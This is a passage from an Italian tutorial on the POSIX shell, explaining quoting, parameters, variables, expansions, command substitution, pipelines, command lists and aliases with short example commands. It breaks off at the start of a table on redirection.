19.2.1 Avvio e conclusione

L'eseguibile della shell POSIX è '**`sh`**', collocato nella directory '`/bin/`':

```
sh [opzioni] [file_script] [argomenti]
```

Si distinguono fondamentalmente due tipi di modalità di funzionamento: interattiva e non interattiva. Quando l'eseguibile '**`sh`**' viene avviato con l'indicazione del nome di un file, questo tenta di eseguirlo come uno script (in tal caso non conta che il file abbia i permessi di esecuzione e nemmeno che contenga la dichiarazione iniziale '**`#!/bin/sh`**'). Gli eventuali argomenti che possono seguire il nome del file, vengono passati allo script in forma di parametri (come viene descritto più avanti).

La shell è interattiva quando interagisce con l'utente e di conseguenza mostra un invito a inserire dei comandi. L'eseguibile '**`sh`**' può essere avviato eventualmente in modo esplicitamente interattivo utilizzando l'opzione '**`-i`**'.

Quando la shell funziona in modo interattivo, la variabile di ambiente ***PS1*** determina l'aspetto dell'invito, mentre il parametro **-** contiene anche la lettera '**`i`**' (i concetti relativi a variabili e parametri vengono chiariti in seguito).

$ **`echo $-`** [*Invio*]

```
himBH
```

Una shell interattiva può a sua volta essere una «shell di *login*» o meno. La distinzione serve alla shell per determinare quali file di configurazione utilizzare. Una shell di *login* è quella in cui il parametro zero, contiene un trattino ('**-**') come primo carattere (di solito contiene esattamente il valore '**-sh**'). In pratica è, o dovrebbe essere, quello che si ha di fronte quando è stata completata la procedura di accesso.

```
$ echo $0 [Invio]

-sh
```

Secondo lo standard POSIX, la shell di *login* esegue il contenuto del file indicato nella variabile di ambiente ***ENV***; tuttavia, di solito queste shell si comportano come la shell Bourne, per cui eseguono il contenuto dei file '`/etc/profile`' e '`~/.profile`' in sequenza. La shell POSIX interattiva esegue inizialmente il contenuto del file indicato nella variabile di ambiente ***ENV***.

Una shell non interattiva conclude il suo funzionamento al termine dello script che interpreta. Una shell interattiva termina di funzionare quando le si impartisce il comando '**exit**'.

19.2.2 Interpretazione dei comandi: parametri, variabili, espansione e sostituzione

Una volta avviata la shell in modo interattivo, questa mostra l'invito a inserire dei comandi, che prima di essere eseguiti sono soggetti a un'interpretazione da parte della shell stessa. Nello stesso modo viene interpretato un comando contenuto all'interno di uno script che la shell esegue.

Il meccanismo di interpretazione della shell è molto complesso, perché prevede molte situazioni differenti, in cui ciò che appare deve essere sostituito da qualcosa di diverso. Si può pensare inizialmente a questo meccanismo come a qualcosa che assomiglia alle variabili di un linguaggio di programmazione comune; tuttavia la realtà di una shell è molto più varia e difficile, tanto che comprenderne bene il funzionamento richiede anche più impegno rispetto a un linguaggio di programmazione comune.

19.2.2.1 Protezione

Il *quoting* è un'azione con la quale si toglie il significato speciale che può avere qualcosa per la shell. Si distinguono tre possibilità: il carattere di escape (rappresentato dalla barra obliqua inversa), gli apici semplici e gli apici doppi (o virgolette). In generale, il concetto può essere trasferito in quello della protezione da un'interpretazione errata di ciò che si intende veramente.

> È importante notare che il concetto di «protezione» è utilizzato in molte situazioni estranee all'uso della shell e ogni contesto può avere una logica differente.

La barra obliqua inversa ('\') rappresenta il carattere di escape. Serve per preservare il significato letterale del carattere successivo, cioè evitare che venga interpretato diversamente da quello che è veramente (salvo quando il contesto associa a una sequenza '***x***' determinata un significato speciale).

Un caso particolare si ha quando il simbolo '\' è esattamente l'ultimo carattere della riga, o meglio, quando questo è seguito immediatamente dal codice di interruzione di riga: rappresenta una continuazione nella riga successiva.

Il simbolo '`\`', utilizzato per interrompere un'istruzione e riprenderla nella riga successiva, può essere utilizzato sia con una shell interattiva, sia all'interno di uno script. In ogni caso, bisogna fare bene attenzione a non lasciare spazi dopo questo simbolo, altrimenti non si comporterebbe più come segno di continuazione, ma come protezione di un carattere spazio.

L'esempio seguente mostra l'uso del comando '**`echo`**' per visualizzare un asterisco, ma dal momento che questo verrebbe rimpiazzato dall'elenco dei file e delle directory presenti nella directory corrente, viene protetto con la barra obliqua inversa:

```
$ echo \* [Invio]
```

```
*
```

L'esempio successivo rappresenta uno script, in cui il comando '**`echo`**' viene usato per visualizzare una stringa che nello script viene divisa su due righe, per comodità:

```
#!/bin/sh
echo "Saluti e baci \
bla bla bla."
```

Racchiudendo una sequenza di caratteri tra una coppia di apici semplici ('`'`') si mantiene il valore letterale di questi caratteri. Evidentemente, un apice singolo non può essere contenuto in una stringa del genere.

Si tenga presente che l'apice inclinato nel modo opposto ('`` ` ``') viene usato con un altro significato che non rientra in quello della protezione delle stringhe delimitate.

L'esempio seguente mostra l'uso del comando '**`echo`**' per visualizzare una frase, contenente simboli che in condizioni normali verrebbero rimpiazzati da altre cose:

```
$ echo 'Attenzione: *, \, e altri oggetti particolari ↩
↪restano "inalterati".' [Invio]
```

```
Attenzione: *, \, e altri oggetti particolari restano "inalterati".
```

Racchiudendo una sequenza di caratteri tra una coppia di apici doppi si mantiene il valore letterale di questi caratteri, a eccezione di '`$`', '`` ` ``' e '`\`'. I simboli '`$`' e '`` ` ``' (dollaro e apice inverso) mantengono il loro significato speciale all'interno di una stringa racchiusa tra apici doppi, mentre la barra obliqua inversa ('`\`') si comporta come carattere di escape (di protezione) solo quando è seguita da '`$`', '`` ` ``', '`"`' e '`\`'; inoltre, quando si trova al termine della riga serve come indicatore di continuazione nella riga successiva.

Si tratta di una particolarità molto importante, attraverso la quale è possibile definire delle stringhe in cui si possono inserire: variabili, parametri e comandi da sostituire.

L'esempio seguente mostra l'uso del comando '**`echo`**' per mostrare una frase in cui si fa riferimento al parametro posizionale zero (che viene descritto in seguito). Questo parametro viene prima indicato proteggendo il dollaro, in modo da impedire che venga interpretato come tale, quindi viene inserito in modo da ottenerne il contenuto:

```
$ echo "Il parametro \$0 contiene: \"$0\"" [Invio]
```

```
Il parametro $0 contiene: "-sh"
```

19.2.2.2 Parametri e variabili

Nella documentazione comune si utilizza il termine «parametro» per identificare diversi tipi di entità: parametri posizionali; parametri speciali; variabili di shell. In questo documento, per evitare confusioni, si riserva il termine parametro solo ai primi due tipi di entità.

L'elemento comune tra i parametri e le variabili è il modo con cui questi oggetti devono essere identificati quando si vuole leggere il loro contenuto: occorre il simbolo '**$**' davanti al nome (o al simbolo) dell'entità in questione, mentre per assegnare un valore all'entità (sempre che ciò sia possibile), questo prefisso non deve essere indicato. Per la precisione, per leggere il contenuto di un parametro o di una variabile si usa normalmente una delle due forme seguenti:

$***nome***

${***nome***}

In pratica si usano le parentesi graffe per circoscrivere il nome o il simbolo associato alla variabile o al parametro, quando c'è la necessità di evitare ambiguità di qualche tipo.

I parametri sono delle variabili speciali che possono essere solo lette e rappresentano alcuni elementi particolari dell'attività della shell. Un parametro è definito, cioè esiste, quando contiene un valore, compresa la stringa nulla.

Parametro	Descrizione
n	Un parametro posizionale è definito da una o più cifre numeriche a eccezione dello zero che ha invece un significato speciale. I parametri posizionali rappresentano gli argomenti forniti al comando: '**$1**' si espande nel primo, '**$2**' si espande nel secondo e così di seguito. Quando si utilizza un parametro composto da più di una cifra numerica, è indispensabile racchiuderlo tra parentesi graffe; per esempio: '**${10}**', '**${11}**',...
0	Restituisce il nome della shell o dello script. Se la shell viene avviata con un file di comandi, '**$0**' si espande nel nome di quel file. Se la shell viene avviata con l'opzione '**-c**', '**$0**' si espande nel primo argomento dopo la stringa dei comandi (sempre che ce ne sia uno).
*	L'asterisco rappresenta l'insieme di tutti i parametri posizionali a partire dal primo. Quando viene utilizzato all'interno di apici doppi, rappresenta un'unica parola composta dal contenuto dei parametri posizionali, spaziati dal primo carattere contenuto nella variabile speciale ***IFS***. Se questa variabile non è definita, viene utilizzato uno spazio singolo. Per esempio, se ***IFS*** contenesse la sequenza '**xyz**', '**"$*"**' sarebbe equivalente a '**"$1x$2x...**"'. La variabile di shell ***IFS*** contiene di solito la sequenza: *<SP><HT><LF>* (corrispondente a uno spazio normale, un carattere di tabulazione e al codice di interruzione di riga nella maggior parte dei sistemi Unix). Di conseguenza, viene utilizzato normalmente il carattere spazio (*<SP>*) per staccare i vari parametri posizionali. Per cui, di solito, '**"$*"**' equivale a '**"$1 $2..."**'.

Parametro	Descrizione
@	Rappresenta l'insieme di tutti i parametri posizionali a partire dal primo. Quando viene utilizzato all'interno di apici doppi, rappresenta delle parole, ognuna composta dal contenuto del parametro posizionale rispettivo. Di conseguenza, '`"$@"`' equivale a '`"$1" "$2" ... "$n"`'. Questo comportamento rappresenta un'eccezione rispetto agli altri parametri che invece si limitano a generare una sola parola.
#	Rappresenta il numero di parametri posizionali esistenti.
?	Rappresenta il valore restituito dall'ultimo condotto eseguito in primo piano (*foreground*). In pratica, restituisce il valore dell'ultimo comando eseguito.
-	Il trattino rappresenta la serie di lettere corrispondenti alle modalità configurabili attraverso il comando interno '`set`' o con opzioni particolari della riga di comando.
$	Restituisce il numero PID della shell. Se viene utilizzato all'interno di una subshell, cioè tra parentesi tonde, restituisce il numero PID della shell principale e non quello della subshell.
!	Restituisce il numero PID del processo avviato più di recente e messo sullo sfondo.

Una variabile è definita quando contiene un valore, compresa la stringa nulla. L'assegnamento di un valore si ottiene con una dichiarazione del tipo seguente:

nome_di_variabile=[*valore*]

Il nome di una variabile può contenere lettere, cifre numeriche e il trattino basso, ma il primo carattere non può essere un numero.

Se non viene fornito il valore da assegnare, si intende la stringa nulla. Come già accennato, la lettura del contenuto di una variabile si ottiene facendone precedere il nome dal simbolo '`$`'.

Tabella 19.9. Elenco delle variabili più importanti di una shell POSIX.

Variabile	Contenuto
PWD	La directory corrente. Il contenuto della variabile viene modificato dal comando '`cd`'.
OLDPWD	La directory corrente visitata precedentemente. Il contenuto della variabile viene modificato dal comando '`cd`'.
PPID	Il numero PID del processo genitore della shell attuale.
IFS	*Internal field separator*. Il contenuto predefinito della variabile dovrebbe essere: *<SP><HT><LF>*.
PATH	I percorsi di ricerca per i comandi, separati dal carattere '`:`'.
HOME	La directory personale dell'utente.
CDPATH	Il percorso di ricerca per il comando '`cd`' (di solito la variabile contiene la stringa nulla).
MAIL	Il percorso del file che rappresenta la cartella di posta in entrata dell'utente.
MAILCHECK	La frequenza, in secondi, con cui si deve verificare la presenza di messaggi nuovi nella cartella corrispondente alla variabile ***MAIL***. Se ***MAILCHECK*** è vuota o contiene il valore zero, il controllo avviene ogni volta che deve essere emesso un nuovo invito.

Variabile	Contenuto
MAILPATH	Questa variabile, se definita, prevale su ***MAIL*** e definisce un elenco di percorsi per altrettante cartelle di posta elettronica alternative. L'elenco è separato con il carattere '`:`'.
OPTIND	Contiene l'indice del prossimo argomento da elaborare dal comando '**`getopts`**'.
OPTARG	Il valore dell'ultimo argomento elaborato da '**`getopts`**'.
PS1	L'invito primario. Di solito, il valore predefinito di questa variabile fa sì che sia rappresentato un dollaro o un cancelletto a seconda che si tratti di un utente comune o dell'utente '**`root`**'.
PS2	L'invito secondario, che appare quando si deve completare un comando. Il valore predefinito è normalmente '`> `'.
ENV	Il nome di un file di configurazione per una shell POSIX.

Quando si creano o si assegnano delle variabili, queste hanno una validità limitata all'ambito della shell stessa, per cui, i comandi interni sono al corrente di queste variazioni mentre i programmi che vengono avviati non ne risentono. Perché anche i programmi ricevano le variazioni fatte sulle variabili, queste devono essere ***esportate***. L'esportazione delle variabili si ottiene con il comando interno '**`export`**'. L'esempio seguente mostra la creazione della variabile ***PIPPO***, a cui viene assegnato un valore, quindi si vede anche la sua esportazione per gli altri programmi:

`$` **`PIPPO="ciao"`** [*Invio*]

`$` **`export PIPPO`** [*Invio*]

19.2.2.3 Espansione

Con questo termine si intende la traduzione di parametri, variabili e altre entità analoghe, nel loro risultato finale. L'espansione, intesa in questo modo, viene eseguita sulla riga di comando, dopo che questa è stata scomposta in parole. Esistono almeno sei tipi di espansione eseguiti nell'ordine seguente:

1. tilde;
2. parametri e variabili;
3. comandi;
4. aritmetica (da sinistra a destra);
5. suddivisione delle parole;
6. percorso o *pathname*.

Solo la suddivisione in parole e l'espansione di percorso, possono cambiare il numero delle parole di un'espressione. Gli altri tipi di espansione trasformano una parola in un'altra parola con l'unica eccezione del parametro @ che invece si espande in più parole.

Alla conclusione dei vari processi di espansione e sostituzione, tutti i simboli usati per la protezione ('`\`', '`'`' e '`"`') che a loro volta non siano stati protetti attraverso l'uso della barra obliqua inversa o di virgolette di qualche tipo, vengono rimossi.

Il termine ***parola*** ha un significato particolare nella terminologia utilizzata per la shell: si tratta di una sequenza di caratteri che rappresenta qualcosa di diverso da un operatore. Per descriverlo in modo differente, si può definire come una stringa che viene presa così com'è e rappresenta una cosa sola. Per esempio, un argomento fornito a un programma è una parola.

L'operazione di ***suddivisione in parole*** riguarda il meccanismo con cui una stringa viene analizzata e suddivida in parole in base a un criterio determinato. Questo problema viene ripreso più avanti in una sezione apposita.

19.2.2.4 Espansione della tilde

Se una parola inizia con il simbolo tilde ('`~`') si cerca di interpretare quello che segue, fino alla prima barra obliqua ('`/`'), come un nominativo-utente, facendo in modo di sostituire questa prima parte con il nome della directory personale dell'utente stesso. In alternativa, se dopo il carattere '`~`' c'è subito la barra, o nessun altro carattere, si intende il contenuto della variabile ***HOME***, ovvero la directory personale dell'utente attuale. Segue la descrizione di due esempi:

- `$ `**`cd ~`** [*Invio*]

  corrisponde a uno spostamento nella directory personale dell'utente;

- `$ `**`cd ~tizio`** [*Invio*]

  corrisponde a uno spostamento nella directory personale dell'utente '**`tizio`**' (ammesso che i permessi lo consentano).

19.2.2.5 Espansione di parametri e variabili

Come già accennato in precedenza, il modo normale con cui si fa riferimento a un parametro o a una variabile è quello di anteporvi il simbolo dollaro ('**`$`**'), ma questo metodo può creare problemi all'interno delle stringhe, oppure quando si tratta di un parametro posizionale composto da più di una cifra decimale. La sintassi normale è quindi la seguente:

`$`***parametro*** | `${`***parametro***`}`

`$`***variabile*** | `${`***variabile***`}`

In uno di questi modi si ottiene quindi la sostituzione del parametro o della variabile con il suo contenuto. Si osservino gli esempi seguenti. Il primo di questi visualizza in sequenza l'elenco degli argomenti ricevuti, fino all'undicesimo:

```
#!/bin/sh
echo " 1 arg. = $1"
echo " 2 arg. = $2"
echo " 3 arg. = $3"
...
echo "10 arg. = ${10}"
echo "11 arg. = ${11}"
```

L'esempio seguente, invece, compone il nome '**Daniele**' unendo il contenuto di una variabile con una terminazione costante:

```
#!/bin/sh
UNO="Dani"
echo "${UNO}ele"
```

Oltre a questi modi «normali», è possibile espandere un parametro o una variabile indicando valori predefiniti; inoltre è possibile eseguire qualche operazione sulle stringhe, ma questi modelli di espansione non vengono descritti.

19.2.2.6 Sostituzione dei comandi

La sostituzione dei comandi consente di utilizzare quanto emesso attraverso lo standard output da un comando. Ci sono due forme possibili:

$(***comando***)

`***comando***`

Nel secondo caso dove si utilizzano gli apici inversi, la barra obliqua inversa ('****') che fosse contenuta eventualmente nella stringa, mantiene il suo significato letterale a eccezione di quando è seguita dai simboli '**$**', '**`**' o '****'.

Bisogna fare attenzione a non confondere gli apici usati per la sostituzione dei comandi con quelli usati per la protezione delle stringhe.

La sostituzione dei comandi può essere annidata. Per farlo, se si utilizza il vecchio metodo degli apici inversi, occorre fare precedere a quelli più interni il simbolo di escape, ovvero la barra obliqua inversa.

Se la sostituzione è inserita in una stringa delimitata tra apici doppi, la suddivisione in parole e l'espansione di percorso non sono eseguite nel risultato.

Segue la descrizione di alcuni esempi:

- $ **ELENCO=$(ls)** [*Invio*]

  Crea e assegna alla variabile ***ELENCO*** l'elenco dei file della directory corrente.

- $ **ELENCO=`ls`** [*Invio*]

  Esattamente come nell'esempio precedente.

- $ **ELENCO=$(ls "a*")** [*Invio*]

  Crea e assegna alla variabile ***ELENCO*** l'elenco dell'unico file 'a*', ammesso che esista.

- $ **ELENCO=`ls "a*"`** [*Invio*]

  Esattamente come nell'esempio precedente.

- $ **rm $(find / -name "*.tmp")** [*Invio*]

  Elimina da tutto il file system i file che hanno l'estensione '.tmp'. Per farlo utilizza Find che genera un elenco di tutti i nomi che soddisfano la condizione di ricerca.

- $ **rm `find / -name "*.tmp"`** [*Invio*]

  Esattamente come nell'esempio precedente.

19.2.2.7 Espansione di espressioni aritmetiche

Le espressioni aritmetiche consentono la valutazione delle espressioni stesse e l'espansione utilizzando il risultato:

```
$((espressione))
```

L'espressione viene trattata come se fosse racchiusa tra apici doppi, ma un apice doppio all'interno delle parentesi non viene interpretato in modo speciale. Tutti gli elementi all'interno dell'espressione sono sottoposti all'espansione di parametri, variabili, sostituzione di comandi ed eliminazione di simboli superflui per la protezione. La sostituzione aritmetica può essere annidata. Se l'espressione aritmetica non è valida, si ottiene una segnalazione di errore senza alcuna sostituzione.

Segue la descrizione di alcuni esempi:

- $ **echo "$((123+23))"** [*Invio*]

  Emette il numero 146 corrispondente alla somma di 123 e 23.

- $ **VALORE=$((123+23))** [*Invio*]

  Assegna alla variabile ***VALORE*** la somma di 123 e 23.

- $ **echo "$((123*$VALORE))"** [*Invio*]

  Emette il prodotto di 123 per il valore contenuto nella variabile ***VALORE***.

19.2.2.8 Suddivisione di parole

La shell esegue la suddivisione in parole dei risultati delle espansioni di parametri e variabili, della sostituzione di comandi e delle espansioni aritmetiche, purché non siano avvenuti all'interno di stringhe protette attraverso la delimitazione con apici doppi.

La shell considera ogni carattere contenuto all'interno di ***IFS*** come un possibile delimitatore utile a determinare i punti in cui effettuare la separazione in parole.

Perché le cose funzionino così come si è abituati, è necessario che ***IFS*** contenga i valori predefiniti: *<Spazio><Tab><new-line>* (ovvero *<SP><HT><LF>*). La variabile ***IFS*** è quindi importantissima: non può mancare e non può essere vuota.

Segue la descrizione di alcuni esempi.

- $ **cd /** [*Invio*]

  $ **Pippo="b* d*"** [*Invio*]

  $ **echo $Pippo** [*Invio*]

  In questo caso, avviene la suddivisione in parole del risultato dell'espansione della variabile ***Pippo***. In pratica, è come se si facesse: '**echo b* d***'. Il risultato potrebbe essere quello seguente:

  ```
  bin boot dev
  ```

- $ **echo "$Pippo"** [*Invio*]

  In questo caso non avviene la suddivisione in parole di quanto contenuto tra la coppia di apici doppi e di conseguenza non può avvenire la successiva espansione di percorso:

  ```
  b* d*
  ```

- $ **echo '$Pippo'** [*Invio*]

  Se si utilizzano gli apici semplici, non avviene alcuna sostituzione della variabile ***Pippo***:

  ```
  $Pippo
  ```

- ```
  #!/bin/sh
  mio_programma "$*"
  ```

  Questo script avvia il programma '**mio_programma**' fornendo come **unico argomento** l'elenco di tutti gli argomenti ottenuti a sua volta.

- ```
  #!/bin/sh
  mio_programma $*
  ```

  Questo script avvia il programma '**mio_programma**' fornendo gli stessi argomenti ottenuti a sua volta (nell'ipotesi che la variabile ***IFS*** non sia stata manomessa).

- ```
  #!/bin/sh
  mio_programma $@
  ```

  Questo script avvia il programma '**mio_programma**' fornendo gli stessi argomenti ottenuti a sua volta (senza dipendere dalla variabile ***IFS***).

- ```
  #!/bin/sh
  mio_programma "$@"
  ```

  Esattamente come nell'esempio precedente, perché il parametro @ tra apici doppi si espande in parole distinte.

19.2.2.9 Espansione di percorso

Dopo la suddivisione in parole, la shell scandisce ogni parola per la presenza dei simboli '`*`', '`?`' e '`[`'. Se incontra uno di questi caratteri, la parola che li contiene viene trattata come modello e sostituita con un elenco ordinato alfabeticamente di percorsi corrispondenti al modello. Se non si ottiene alcuna corrispondenza, il comportamento predefinito comune è tale per cui la parola resta immutata, consentendo quindi l'utilizzo dei caratteri jolly per il *globbing* (i metacaratteri) per identificare un percorso.

In generale, sarebbe meglio essere precisi quando si vuole indicare espressamente un nome che contiene effettivamente un asterisco o un punto interrogativo: si deve usare la barra obliqua inversa che funge da carattere di escape.

Per convenzione, si considerano nascosti i file e le directory che iniziano con un punto. Per questo, normalmente, i caratteri jolly non permettono di includere i nomi che iniziano con tale punto. Se necessario, questo punto deve essere indicato espressamente.

La barra obliqua di separazione dei percorsi non viene mai generata automaticamente dall'espansione di percorso (il *globbing*).

Tabella 19.19. Modelli utilizzabili per ottenere un'espansione di percorso.

Modello	Descrizione
`*`	Corrisponde a qualsiasi stringa, compresa la stringa nulla.
`?`	Corrisponde a un carattere qualsiasi (uno solo).
`[...]`	Corrisponde a uno qualsiasi dei caratteri racchiusi tra parentesi quadre.
`[!...]`	Corrisponde a tutti i caratteri esclusi quelli indicati.
`[`***a***`-`*z*`]`	Corrisponde a uno qualsiasi dei caratteri compresi nell'intervallo da ***a*** a *z*.
`[!`***a***`-`*z*`]`	Corrisponde a tutti i caratteri esclusi quelli appartenenti all'intervallo indicato.

19.2.3 Comandi

Con il termine «comando» si intendono diversi tipi di entità che hanno in comune il modo con cui vengono utilizzate: attraverso un nome seguito eventualmente da alcuni argomenti. Può trattarsi dei casi seguenti.

- ***Comandi interni***

  Detti anche comandi di shell, sono delle funzioni predefinite all'interno della shell.

- ***Funzioni***

  Dette anche funzioni di shell, sono funzioni scritte all'interno di uno script di shell.

- ***Alias***

Sono dei nomi associati ad altri comandi, di solito con l'aggiunta di qualche argomento. In maniera semplificata, possono essere visti come un modo diverso per identificare comandi già esistenti.

- ***Programmi***

  Detti anche comandi esterni perché non sono contenuti nella shell che li avvia.

19.2.3.1 Valore restituito dai comandi: «exit status»

Un comando che termina la sua esecuzione restituisce un valore, così come fanno le funzioni nei linguaggi di programmazione. Un comando, il quale può essere sia un comando interno, sia una funzione di shell, sia un programma, può restituire solo un valore numerico. Di solito, si considera un valore di uscita pari a zero come indice di una conclusione regolare del comando, cioè senza errori di alcun genere.

Dal momento che può essere restituito solo un valore numerico, quando il risultato di un'esecuzione di un comando viene utilizzato in un'espressione logica (booleana), si considera lo zero come equivalente a *Vero*, mentre un qualunque altro valore viene considerato equivalente a *Falso*.[4]

Per conto suo, la shell restituisce il valore di uscita dell'ultimo comando eseguito, se non riscontra un errore di sintassi, nel qual caso genera un valore diverso da zero (*Falso*).

19.2.3.2 Condotto

Il condotto (*pipeline*) è una sequenza di uno o più comandi separati da una barra verticale ('|'). Il formato normale per un condotto è il seguente:

```
[!] comando1 [ | comando2...]
```

Lo standard output del primo comando è incanalato nello standard input del secondo comando. Questa connessione è effettuata prima di qualsiasi ridirezione specificata dal comando. Come si vede dalla sintassi, per poter parlare di condotto basta anche un solo comando.

Normalmente, il valore restituito dal condotto corrisponde a quello dell'ultimo comando che viene eseguito all'interno di questo.

Se all'inizio del condotto viene posto un punto esclamativo ('!'), il valore restituito corrisponde alla negazione logica del risultato normale.[5]

> Si osservi che il punto esclamativo **deve** essere separato dal comando che inizia il condotto, altrimenti potrebbe essere interpretato come parte del nome del comando, oppure, come avviene con la shell Bash, potrebbe servire per richiamare un comando dallo storico degli ultimi comandi inseriti.

La shell attende che tutti i comandi del condotto siano terminati prima di restituire un valore.

Ogni comando in un condotto è eseguito come un processo separato.

19.2.3.3 Lista di comandi

La lista di comandi è una sequenza di uno o più condotti separati da '`;`', '`&`', '`&&`' o '`||`', terminata da '`;`', '`&`' o dal codice di interruzione di riga. Parti della lista sono raggruppabili attraverso parentesi (tonde o graffe) per controllarne la sequenza di esecuzione. Il valore di uscita della lista corrisponde a quello dell'ultimo comando della stessa lista che è stato possibile eseguire.

I comandi separati da un punto e virgola ('`;`') sono eseguiti sequenzialmente. Il simbolo punto e virgola può essere utilizzato per separare dei comandi posti sulla stessa riga, o per terminare una lista di comandi quando c'è la necessità di farlo (per distinguerlo dall'inizio di qualcos'altro). Idealmente, il punto e virgola sostituisce il codice di interruzione di riga.

L'esempio seguente avvia in sequenza dei comandi per la compilazione e installazione di un programma ipotetico:

```
# ./configure ; make ; make install[Invio]
```

L'operatore di controllo '`&&`' si comporta come l'operatore booleano AND: se il valore di uscita di ciò che sta alla sinistra è zero (*Vero*), viene eseguito anche quanto sta alla destra. Dal punto di vista pratico, viene eseguito il secondo comando solo se il primo ha terminato il suo compito con successo.

Nell'esempio seguente viene eseguito il comando '**`mkdir ./prova`**'. Se ha successo viene eseguito il comando successivo che visualizza un messaggio di conferma:

```
$ mkdir ./prova && echo "Creata la directory prova"[Invio]
```

L'operatore di controllo '`||`' si comporta come l'operatore booleano OR: se il valore di uscita di ciò che sta alla sinistra è zero (*Vero*), il comando alla destra non viene eseguito. Dal punto di vista pratico, viene eseguito il secondo comando solo se il primo non ha potuto essere eseguito, oppure se ha terminato il suo compito riportando un qualche tipo di insuccesso.

Nell'esempio seguente si tenta di creare la directory '`prova/`', se il comando fallisce si tenta di creare '`prova1/`' al suo posto:

```
$ mkdir ./prova || mkdir ./prova1[Invio]
```

19.2.3.4 Avvio sullo sfondo con «&»

I comandi seguiti dal simbolo '`&`' vengono messi in esecuzione sullo sfondo. La descrizione del meccanismo con cui i programmi possono essere messi e gestiti sullo sfondo viene fatta nella sezione 19.2.5. Dal momento che non si attende la loro conclusione per passare all'esecuzione di quelli successivi, il valore restituito è sempre zero. Segue la descrizione di alcuni esempi.

- `$ yes > /dev/null & echo "yes sta funzionando"[Invio]`

  Il programma '**`yes`**' viene messo in esecuzione sullo sfondo e di seguito viene visualizzato un messaggio. Al termine dell'esecuzione della lista, '**`yes`**' continua a funzionare.

- `$ echo "yes sta per essere avviato" ; yes > /dev/null &[Invio]`

  In questo caso viene prima emesso il messaggio e quindi viene avviato '**`yes`**' sullo sfondo.

- # **gpm -t ms &** [*Invio*]

  Avvia sullo sfondo il programma '**gpm**' di gestione del mouse.

Le liste, o parti di esse, possono essere racchiuse utilizzando delle **parentesi tonde**. Questo tipo di lista viene eseguita in una **copia della shell** (a volte si usa il termine subshell). Gli assegnamenti di variabili e l'esecuzione di comandi interni che influenzano l'ambiente della copia della shell che si occupa di eseguire la lista racchiusa tra parentesi, non lasciano effetti dopo che il comando composto è completato. Il valore restituito è quello dell'ultimo comando eseguito all'interno delle parentesi.

L'esempio seguente crea la directory '`prova/`' o '`prova1/`'. Se ci riesce, visualizza il messaggio.

$ **(mkdir ./prova || mkdir ./prova1) && echo "Creata la directory"** [*Invio*]

Si osservi che il contenuto delle parentesi tonde può essere a contatto delle parentesi stesse, così come si vede nell'esempio.

Le liste possono essere raggruppate utilizzando delle **parentesi graffe**. Queste vengono eseguite nell'ambiente di **shell corrente**. Si tratta quindi di un semplice raggruppamento di liste su più righe. Il valore restituito è quello dell'ultimo comando eseguito all'interno delle parentesi.

L'uso delle parentesi graffe è indicato particolarmente nella preparazione di script di shell. Gli esempi seguenti sono equivalenti.

```
#!/bin/sh
{  mkdir ./prova ; cd ./prova ; ls ; }
```

```
#!/bin/sh
{  mkdir ./prova
   cd ./prova
   ls
}
```

Si osservi che quanto contenuto tra parentesi graffe, così come si vede negli esempi, **non può** essere aderente alle parentesi stesse; inoltre è indispensabile che dopo l'ultimo comando si dia il punto e virgola, oppure che la parentesi di chiusura appaia dopo un codice di interruzione di riga.

19.2.3.5 Alias

Attraverso i comandi interni '**alias**' e '**unalias**' è possibile definire ed eliminare degli alias, ovvero dei sostituti ai comandi. Prima di eseguire un comando di qualunque tipo, la shell cerca la prima parola di questo comando (quello che lo identifica) all'interno dell'elenco degli alias; se la trova lì, la sostituisce con il suo alias. La sostituzione non avviene se il comando o la prima parola di questo è delimitata tra virgolette. Il nome dell'alias non può contenere il simbolo '**=**'. La trasformazione in base alla presenza di un alias continua anche per la prima parola del testo di rimpiazzo della prima sostituzione. Quindi, un alias può fare riferimento a

un altro alias e così di seguito. Questo ciclo si ferma quando non ci sono più corrispondenze con **nuovi** alias in modo da evitare una ricorsione infinita.

Gli alias non vengono espansi quando la shell non funziona in modalità interattiva; di conseguenza, non sono disponibili durante l'esecuzione di uno script.

In generale, l'utilizzo di alias è superato dall'uso delle funzioni, se queste sono disponibili con la shell che si ha a disposizione.

L'uso di alias può essere utile se questi vengono definiti automaticamente per ogni avvio della shell, per esempio inserendoli all'interno di '`/etc/profile`'.

Segue la descrizione di alcuni esempi.

- `# alias rm="rm -i"` [*Invio*]

  Crea un alias al comando (programma) '**`rm`**' in modo che venga eseguito automaticamente con l'opzione '**`-i`**' che implica la richiesta di conferma per ogni file che si intende cancellare.

- `# alias cp="cp -i"` [*Invio*]

  Crea un alias al comando (programma) '**`cp`**' in modo che venga eseguito automaticamente con l'opzione '**`-i`**', cosa che implica la richiesta di conferma per ogni file che si intende eventualmente sovrascrivere.

- `# alias mv="mv -i"` [*Invio*]

  Crea un alias al comando (programma) '**`mv`**' in modo che venga eseguito automaticamente con l'opzione '**`-i`**' che implica la richiesta di conferma per ogni file che si intende eventualmente sovrascrivere.

- `# alias ln="ln -i"` [*Invio*]

  Crea un alias al comando (programma) '**`ln`**' in modo che venga eseguito automaticamente con l'opzione '**`-i`**' che implica la richiesta di conferma per ogni file che si intende eventualmente sovrascrivere.

- `# alias spegni="shutdown -h -t 5 now"` [*Invio*]

  Crea l'alias '**`spegni`**' per abbreviare il comando di spegnimento normale.

19.2.4 Ridirezione

Prima che un comando sia eseguito, si possono ridirigere i suoi flussi di dati in ingresso e in uscita, utilizzando una notazione speciale che viene interpretata dalla shell. La ridirezione viene eseguita, nell'ordine in cui appare, a partire da sinistra verso destra.

Se si utilizza il simbolo '**<**' da solo, la ridirezione si riferisce allo standard input (corrispondente al descrittore di file zero. Se si utilizza il simbolo '**>**' da solo, la ridirezione si riferisce allo standard output (corrispondente al descrittore di file numero uno). La parola che segue

l'operatore di ridirezione è sottoposta a tutta la serie di espansioni e sostituzioni possibili. Se questa parola si espande in più parole dovrebbe essere segnalato un errore.

Si distinguono normalmente tre tipi standard di descrittori di file per l'input e l'output:

- 0 = standard input;
- 1 = standard output;
- 2 = standard error.

Tabella 19.22. Sintassi per la ridirezione.

Sintassi	Descrizione
[*n*] < ***file***	La ridirezione dell'input fa sì che il file il cui nome risulta dall'espansione della parola alla destra del simbolo '**<**' venga letto e inviato al descrittore di file ***n***, oppure, se non indicato, allo standard input pari al descrittore di file zero.
